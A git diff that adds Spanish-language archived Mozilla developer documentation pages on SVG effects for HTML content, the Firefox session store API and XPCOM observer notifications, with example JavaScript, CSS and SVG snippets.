posibles traducciones">a cualquier</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">elemento</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Tenga en cuenta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">también</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">realizar cambios en el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en tiempo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">real</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">y</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ver</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cambios</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">afectan inmediatamente a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la prestación</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">del</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Por</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cambiar el tamaño del</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">círculo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">camino</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">clip</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">establecido:</span></span></p>
+<pre class="brush: xml">    var circle = document.getElementById("circle");
+    circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+</pre>
+<p><a class="internal" href="/@api/deki/files/3214/=clipdemo.xhtml" title="/@api/deki/files/3214/=clipdemo.xhtml">View this example live</a>.  <span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">El ejemplo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">incluye</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">botón</span>, <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">hacer clic</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cambiar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ruta de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">clip</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">y</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ver que el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cambio surta efecto.</span></span></p><h3 id="Ejemplo_Filtrar"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">:</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Filtrar</span></span></h3>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Este</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ejemplo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">muestra cómo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">filtro</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el contenido</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">utilizando</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Establece</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">varios filtros</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que se aplican</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">con</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cada uno</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de los</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">tres</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">elementos</span><span title="Haz clic para obtener otras posibles traducciones">, tanto en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los Estados</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">suspender</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">normal y</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el ratón</span><span title="Haz clic para obtener otras posibles traducciones">.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Cualquier</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">filtro se puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de esta manera</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Por ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">efecto de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">desenfoque gaussiano</span><span title="Haz clic para obtener otras posibles traducciones">, puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">utilizar</span><span title="Haz clic para obtener otras posibles traducciones">:</span></span></p>
+<pre class="brush: xml">&lt;svg:filter id="f1"&gt;
+  &lt;svg:feGaussianBlur stdDeviation="3"/&gt;
+&lt;/svg:filter&gt;
+</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">También puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">una</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">matriz de color</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de esta manera:</span></span></p>
+<pre class="brush: xml">    &lt;svg:filter id="f2"&gt;
+      &lt;svg:feColorMatrix values="0.3333 0.3333 0.3333 0 0
+                                 0.3333 0.3333 0.3333 0 0
+                                 0.3333 0.3333 0.3333 0 0
+                                 0      0      0      1 0"/&gt;
+
+    &lt;/svg:filter&gt;
+</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Estos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">son</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">sólo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">dos de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los cinco</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">filtros de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">muestra en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">este</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Asegúrese</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">echar un vistazo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">al</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">código</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">completo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">si</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">le gustaría</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ver</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">más</span><span title="Haz clic para obtener otras posibles traducciones">.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Los</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cinco</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">filtros se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplican</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mediante el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">siguiente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">código CSS:</span></span></p>
+<pre class="brush: xml">  &lt;style&gt;
+    p.target { filter:url(#f3); }
+    p.target:hover { filter:url(#f5); }
+    b.target { filter:url(#f1); }
+    b.target:hover { filter:url(#f4); }
+    iframe.target { filter:url(#f2); }
+    iframe.target:hover { filter:url(#f3); }
+  &lt;/style&gt;
+</pre>
+<p><a class="internal" href="/@api/deki/files/3217/=filterdemo.xhtml" title="/@api/deki/files/3217/=filterdemo.xhtml">View this example live</a>.</p><h2 id="Uso_de_referencias_externas"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Uso de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">referencias</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">externas</span></span></h2>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Los</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">elementos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">utiliza</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para cortar</span><span title="Haz clic para obtener otras posibles traducciones">, el enmascaramiento</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">y así sucesivamente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se pueden cargar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">desde</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un documento</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">externo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mientras</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">documento</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">proviene</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">del</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mismo origen</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">documento</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML al que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplica.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Por ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">si</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">tu</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un archivo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">llamado</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">default.css</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">tener el siguiente aspecto</span><span title="Haz clic para obtener otras posibles traducciones">:</span></span></p>
+<pre class="brush: xml">.target { clip-path: url(resources.svg#c1); }</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">El</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se importa</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">desde</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">archivo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">llamado</span></span> <code>resources.svg</code>, <span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">utilizando</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ruta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">del clip</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">con el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ID</span></span> <code>c1</code>.</p><h2 id="Véa_también"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Véa</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">también</span></span></h2>
+<ul> <li><a class="internal" href="/en/SVG" title="En/SVG">SVG</a></li> <li><a class="external" href="/web-tech/2008/09/15/svg-effects-for-html-content" title="https://developer.mozilla.org/editor/fckeditor/core/editor/web-tech/2008/09/15/svg-effects-for-html-content/">SVG Effects for HTML Content</a> (blog post)</li> <li><a class="external" href="/web-tech/2008/10/10/svg-external-document-references" title="https://developer.mozilla.org/editor/fckeditor/core/editor/web-tech/2008/10/10/svg-external-document-references/">SVG External Document References</a> (blog post)</li>
+</ul>
+<p> </p>
+<p> </p>
+<p style="margin-left: 680px;">                      CESAR ORTIZ GUTIERREZ - ELPATOX - wWw.Patito.Tk</p>
diff --git a/files/es/archive/add-ons/api_de_restauración_de_sesión/index.html b/files/es/archive/add-ons/api_de_restauración_de_sesión/index.html
new file mode 100644
index 0000000000..237857bc2e
--- /dev/null
+++ b/files/es/archive/add-ons/api_de_restauración_de_sesión/index.html
@@ -0,0 +1,66 @@
+---
+title: API de restauración de sesión
+slug: Archive/Add-ons/API_de_restauración_de_sesión
+tags:
+  - Complementos
+  - NecesitaRevisiónTécnica
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Archive/Add-ons/Session_store_API
+---
+<p><a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2</a> introduce el almacenamiento de sesiones, una nueva caracteristica que hace posible que las <a href="/es/Extensiones" title="es/Extensiones">extensiones</a> puedan fácilmente, guardar y restaurar datos a lo largo de sesiones de Firefox. Existe una API simple que permite que las extensiones accedan a la caracterìstica de almacenamiento de sesión.</p>
+<p>Un escenario clave en el cual proveer esta caracteristica puede ser crucial para una extensión: Firefox 2 deja revertir el cerrado de pestañas. Para poder restaurar correctamente el estado de la extension cuando una pestaña es restaurada, necesita usar el metodo <code>setTabValue()</code> de la API de almacenamiento de sesion, para guardar la informaciòn que necesitarà para restaurar su estado, y luego invocar <code>getTabValue()</code> para obtener la configuraciòn previa cuando la pestaña es recuperada.</p>
+<p>La API Almacenamiento de Sesion es implementada usando la interfaz <code><a href="/es/NsISessionStore" title="es/NsISessionStore">nsISessionStore</a></code></p>
+<h2 id="Sabiendo_cuando_restaurar" name="Sabiendo_cuando_restaurar">Saber cuando restaurar</h2>
+<p>Cada vez que Firefox està por restaurar una pestaña, un evento de tipo <code>SSTabRestoring</code> es enviado. Si se quiere que la extensión sea capaz de restaurar los datos cuando las pestañas son restauradas, puede instalar un "centinela" como este:</p>
+<pre>function myExtensionHandleRestore(aEvent) {
+  Components.classes["@mozilla.org/consoleservice;1"].
+             getService(Components.interfaces.nsIConsoleService).
+             logStringMessage("restoring tabs");
+};
+
+document.addEventListener("SSTabRestoring", myExtensionHandleRestore, false);
+</pre>
+<p>Simplemente se debe reemplazar los contenidos de la función <code>myExtensionHandleRestore()</code> con cualquier cosa que se necesite hacer cuando la pestaña sea restaurada. En este ejemplo, <code><a href="/es/NsIConsoleService" title="es/NsIConsoleService">nsIConsoleService</a></code> es usado para desplegar un mensaje a la <a href="/es/JavaScript_Console" title="es/JavaScript_Console">Consola</a>.</p>
+<p>Este evento es enviado justo antes de la restauracion de una pestaña. Un evento del tipo <code>SSTabRestored</code> es enviado después que la última pestaña ha sido restaurada.</p>
+<h2 id="El_proceso_de_restauraci.C3.B3n_de_sesi.C3.B3n" name="El_proceso_de_restauraci.C3.B3n_de_sesi.C3.B3n">El proceso de restauración de sesión</h2>
+<p>La secuencia exacta de eventos que ocurre cuando una sesión està siendo restaurada es:</p>
+<ol> <li>El estado de una sesión está a punto de ser restaurado. Esto puede ser al inicio del programa,o en respuesta a Deshacer Cerrar Pestaña, dado que las pestañas cerradas son restauradas como sesiones de una sola pestaña.</li> <li>Nuevas ventanas son abiertas como se requirieron (una por cada ventana que fue salvada durante el almacenamiento de sesión), y tanto cookies como la lista de pestañas recièn cerradas son restauradas.</li>
+</ol>
+<p>Después de esto, los siguientes pasos son seguidos por cada pestaña que està siendo restaurada:</p>
+<ol> <li>Se reutiliza una pestaña o se crea una nueva. En el último caso, el evento <code>TabOpen</code> es enviado.</li> <li>Los atributos persistentes XUL de la pestaña (aquellos que fueron salvados, debido a invocaciones de <code><a href="/es/NsISessionStore#persistTabAttribute.28.29" title="es/NsISessionStore#persistTabAttribute.28.29">persistTabAttribute()</a></code>) y permisos son restaurados.</li> <li>El evento <code>SSTabRestoring</code> es enviado.</li> <li>Se le ordena a la pestaña que cargue el URL que deberìa desplegar.</li> <li>Cuando la página ha terminado de cargar, los campos de texto y barras de desplazamiento son restaurados.</li> <li>Finalmente, el evento <code>SSTabRestored</code> es enviado.</li>
+</ol>
+<p>Si se quiere configurar permisos o manipular de alguna otra forma  una pestaña restaurada antes de que la página sea cargada, debería observar <code>SSTabRestoring</code>. Si se desea hacer algo después de que la pagina ha sido cargada, debería observar <code>SSTabRestored</code>.</p>
+<p>Ambos eventos son siempre enviados por cada pestaña que està siendo restaurada. Se puede determinar cual pestaña esta siendo restaurada mirando el campo <code>originalTarget</code> del evento.</p>
+<p>No existe una forma para determinar cuàndo ha sido restaurada la última pestaña, a menos que se determine cuantas pestañas necesitan ser restauradas y luego contar los eventos s<code>STabRestored.</code></p>
+<h2 id="Usando_la_API_de_almacenamiento_de_sesi.C3.B3n" name="Usando_la_API_de_almacenamiento_de_sesi.C3.B3n">Usando la API de almacenamiento de sesión</h2>
+<p>Esta sección provee algunos ejemplos de còmo usar la API de almacenamiento de sesión.</p>
+<h3 id="Guardando_un_valor_con_una_pesta.C3.B1a" name="Guardando_un_valor_con_una_pesta.C3.B1a">Guardando un valor con una pestaña.</h3>
+<p>El siguiente código adherirà un par llave/valor a una pestaña, asi-cuando èsta sea restaurada-, este par todavía estará asociada a ella.</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+                             getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ var dataToAttach = "Yo quiero adherir esto";
+ ss.setTabValue(currentTab, "nombre-llave-aqui", dataToAttach);
+</pre>
+<p>El código asigna el valor de la llave "nombre-llave-aqui" a <var>dataToAttach</var>. Se puede usar cualquier objeto JavaScript como datos.</p>
+<h3 id="Recuperar_un_valor_guardado" name="Recuperar_un_valor_guardado">Recuperar un valor guardado</h3>
+<p>Se puede recuperar un valor asociado a una pestaña en cualquier momento (ya sea mientras la pestaña este siendo restaurada o no), usando un código similar al siguiente:</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+                             getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ var retrievedData = ss.getTabValue(currentTab, "nombre-llave-aqui");
+</pre>
+<p>Despuès  que el código ha sido ejecutado, la variable <var>retrievedData</var> contiene el valor guardado en la llave "nombre-llave-aqui". <var>retrievedData</var> está indefinida si no existe un valor guardado para ese nombre de llave.</p>
+<h3 id="Borrando_un_valor_asociado_a_una_pesta.C3.B1a" name="Borrando_un_valor_asociado_a_una_pesta.C3.B1a">Borrando un valor asociado a una pestaña</h3>
+<p>Para borrar un valor de una pestaña, se puede utilizar un código como el siguiente:</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+                             getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ deleteTabValue(currentTab, "nombre-llave-aqui");
+</pre>
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+<p>El guardado de valores de la ventana y las funciones de restauración, funcionan exactamente como las funciones basadas en pestañas con nombres similares.</p>
+<h2 id="Ver_Tambi.C3.A9n" name="Ver_Tambi.C3.A9n">Ver También:</h2>
+<p><a href="/es/NsISessionStore" title="es/NsISessionStore">nsISessionStore</a></p>
+<p></p>
diff --git a/files/es/archive/add-ons/index.html b/files/es/archive/add-ons/index.html
new file mode 100644
index 0000000000..d1851bd7ee
--- /dev/null
+++ b/files/es/archive/add-ons/index.html
@@ -0,0 +1,8 @@
+---
+title: Add-ons
+slug: Archive/Add-ons
+translation_of: Archive/Add-ons
+---
+<p>In progress. Archived add-ons documentation.</p>
+
+<p></p>
diff --git a/files/es/archive/add-ons/observer_notifications/index.html b/files/es/archive/add-ons/observer_notifications/index.html
new file mode 100644
index 0000000000..571cebc9d4
--- /dev/null
+++ b/files/es/archive/add-ons/observer_notifications/index.html
@@ -0,0 +1,155 @@
+---
+title: Notificaciones Observer
+slug: Archive/Add-ons/Observer_Notifications
+translation_of: Mozilla/Tech/XPCOM/Observer_Notifications
+---
+<p></p><div style="text-align: right;" class="prevnext">
+    <p><a style="float: left;" href="/es/docs/Escuela_XUL/Objetos_XPCOM">« Anterior</a><a href="/es/docs/Escuela_XUL/Manejo_de_preferencias">Siguiente  »</a></p>
+</div><p></p>
+
+<p>Sometimes you need your code to send a message to other parts of your code. For example, you might want to notify that a task is completed, and then several different actions must be performed. You could do that by calling all those functions directly, but XPCOM offers you a better and cleaner way to achieve that using observers and the observer service.</p>
+
+<p>An observer is an object that is responsible to observe (wait for) notifications and then to carry out subsequent actions. To create an observer, you need to implement the <a href="/en/XPCOM_Interface_Reference/nsIObserver" title="en/nsIObserver">nsIObserver</a> interface. The interface has only one method observe() which takes three parameters. The first parameter (subject) can be any XPCOM object, the second parameter is a notification topic, and the final parameter is a string that further describes the notification.</p>
+
+<p>This example code shows you what an implementation of the nsIObserver interface looks like:</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">let testObserver = {
+  observe : function(aSubject, aTopic, aData) {
+    if (aTopic == "xulschoolhello-test-topic") {
+      window.alert("Data received: " + aData);
+    }
+  }
+}</pre>
+</div>
+</div>
+
+<p>In order for this observer to work, you need to use the <a href="/en/XPCOM_Interface_Reference/nsIObserverService" title="en/XPCOM Interface Reference/nsIObserverService">observer service</a> that provides methods for you to add, remove, notify and enumerate observers.</p>
+
+<p>Adding an observer to the observer service is simple, invoking the <a href="/en/XPCOM_Interface_Reference/nsIObserverService/addObserver" title="en/XPCOM Interface Reference/nsIObserverService/addObserver">addObserver</a> method with three parameters. The first parameter is an observer object, the second parameter is a notification topic, and the third parameter is a boolean which indicates whether the observer service should hold a weak reference to the observer. You should normally set the third parameter to <em>false</em>.</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">let observerService = Components.classes["@mozilla.org/observer-service;1"].
+    getService(Components.interfaces.nsIObserverService);
+
+observerService.addObserver(testObserver, "xulschoolhello-test-topic", false);</pre>
+</div>
+</div>
+
+<div style="border-width: 1px;" class="panel">
+<div class="panelContent">
+<div class="note">You should come up with a notification topic that is unique so you know it will not conflict with Firefox or other extensions topics.</div>
+</div>
+</div>
+
+<p>To remove an observer for a specific topic, you use the <a href="/en/XPCOM_Interface_Reference/nsIObserverService/removeObserver" title="en/XPCOM Interface Reference/nsIObserverService/removeObserver">removeObserver</a> method. The method takes the observer object and notification topic as parameters.</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">observerService.removeObserver(testObserver, "xulschoolhello-test-topic");</pre>
+</div>
+</div>
+
+<p>After you have registered some observers to listen to a notification topic, you can then use the <a href="/en/XPCOM_Interface_Reference/nsIObserverService/notifyObservers" title="en/XPCOM Interface Reference/nsIObserverService/notifyObservers">notifyObservers</a> method to send a notification to all of them. The method takes three parameters. The first parameter can be any XPCOM object to pass to those observers (can be null), the second parameter is the notification topic and the last parameter is an additional string to pass to those observers (can be null).</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">observerService.notifyObservers(null, "xulschoolhello-test-topic", "hello");</pre>
+</div>
+</div>
+
+<h2 id="Non-chrome_to_chrome_communication">Non-chrome to chrome communication</h2>
+
+<p>Non-chrome to chrome communication is one of the main uses of observers. By non-chrome we mean JavaScript Code Modules or XPCOM. As we saw in previous sections, you can use JavaScript Code Module and XPCOM objects very easily from the chrome. But given that chrome is window-dependent and non-chrome objects are not, it's tricky to send a message to the chrome. You would have to invoke a method for the chrome objects in all windows. It's much easier to use observers in this case.</p>
+
+<p>Let's see the following example code on how to send out a notification from non-chrome code.</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * Notifies all the registered observers with the test notification topic.
+ */
+notifyTest : function() {
+  let observerService = Components.classes["@mozilla.org/observer-service;1"].
+      getService(Components.interfaces.nsIObserverService);
+  let subject = Components.classes["@mozilla.org/supports-string;1"].
+      createInstance(Components.interfaces.nsISupportsString);
+
+  // assign some text to data attribute
+  subject.data = "This is a test.";
+  // notify all registered observers
+  observerService.notifyObservers(
+    subject, "xulschoolhello-test-topic", "hello");
+}</pre>
+</div>
+</div>
+
+<p>In the <em>notifyTest</em> method, the <em>notifyObservers</em> call is used to notify all registered observers about the notification topic "xs-hw-test-topic". The input parameter is an instance of <em>nsISupportsString</em> with some text and the last input parameter is a string "Hello".</p>
+
+<p>In a chrome browser overlay file, we register an observer to listen to the notification topic "xs-hw-test-topic" when the window loads. Keep in mind that <strong>you have to remove observers that are not longer needed</strong>. Not doing so will result in memory leaks. Therefore, the registered observer is unregistered when the browser window is unloaded.</p>
+
+<div style="border-width: 1px;" class="code panel">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * Controls the browser overlay for the Hello World extension.
+ */
+XULSchoolChrome.BrowserOverlay = {
+  /* Observer service. */
+  _observerService : null,
+
+  /**
+   * Initializes this object.
+   */
+  init : function() {
+    this._observerService = Components.classes["@mozilla.org/observer-service;1"].
+       getService(Components.interfaces.nsIObserverService);
+    this._observerService.addObserver(this, "xulschoolhello-test-topic", false);
+  },
+
+  /**
+   * Unitializes this object.
+   */
+  uninit : function() {
+    this._observerService.removeObserver(
+      this, "xulschoolhello-test-topic");
+  },
+
+  /**
+   * Observes the registered notification topics.
+   * @param aSubject The nsISupports object associated with the notification.
+   * @param aTopic The notification topic.
+   * @param aData The additional string associated with the notification.
+   */
+  observe : function(aSubject, aTopic, aData) {
+    if (aTopic == "xulschoolhello-test-topic") {
+      aSubject.QueryInterface(Ci.nsISupportsString);
+      window.alert("Subject: " + aSubject.data);  // =&gt; "This is a test"
+      window.alert("Data: " + aData);  // =&gt; "Hello"
+    }
+  }
+}
+
+window.addEventListener(
+  "load", function() { XULSchoolChrome.BrowserOverlay.init(); }, false);
+window.addEventListener(
+  "unload", function() { XULSchoolChrome.BrowserOverlay.uninit(); }, false);</pre>
+</div>
+</div>
+
+<p>In the <em>observe</em> method the notification topic is verified because you can have one observer listening to several topics. You may notice that we explicitly set the interface of the <em>aSubject</em> object to <em>nsISupportsString</em> using the <em>QueryInterface</em> method. This is because the first parameter of the <em>observe</em> method is typed as <em>nsISupports </em>(the generic interface, as seen before), therefore its properties and methods cannot be accessed unless the correct interface is set to it.</p>
+
+<p>When the <em>notifyTest</em> method is called, all observers registered with <em>xulschoolhello-test-topic</em> will get notified and display two alerts. If there are 2 Firefox windows open, the observer will be notified in both and the alerts will show up on both.</p>
+
+<p>You can always listen for multiple notification topics using the same observer. Also, be careful not to add the same observer to a notification topic more than once, otherwise the same code in the observer will be run several times when a notification is sent.</p>
+
+<h2 id="Useful_Firefox_notifications">Useful Firefox notifications</h2>
+
+<p>We have covered sending and receiving custom notification topics using observers and the observer service. In Firefox, there are many built-in observer topics that you can observe as well. The <a href="/en/Observer_Notifications" title="en/Observer Notifications">Observer Notifications</a> page lists some useful topics and is definitely worth spending time studying it.</p>
+
+<p></p><div style="text-align: right;" class="prevnext">
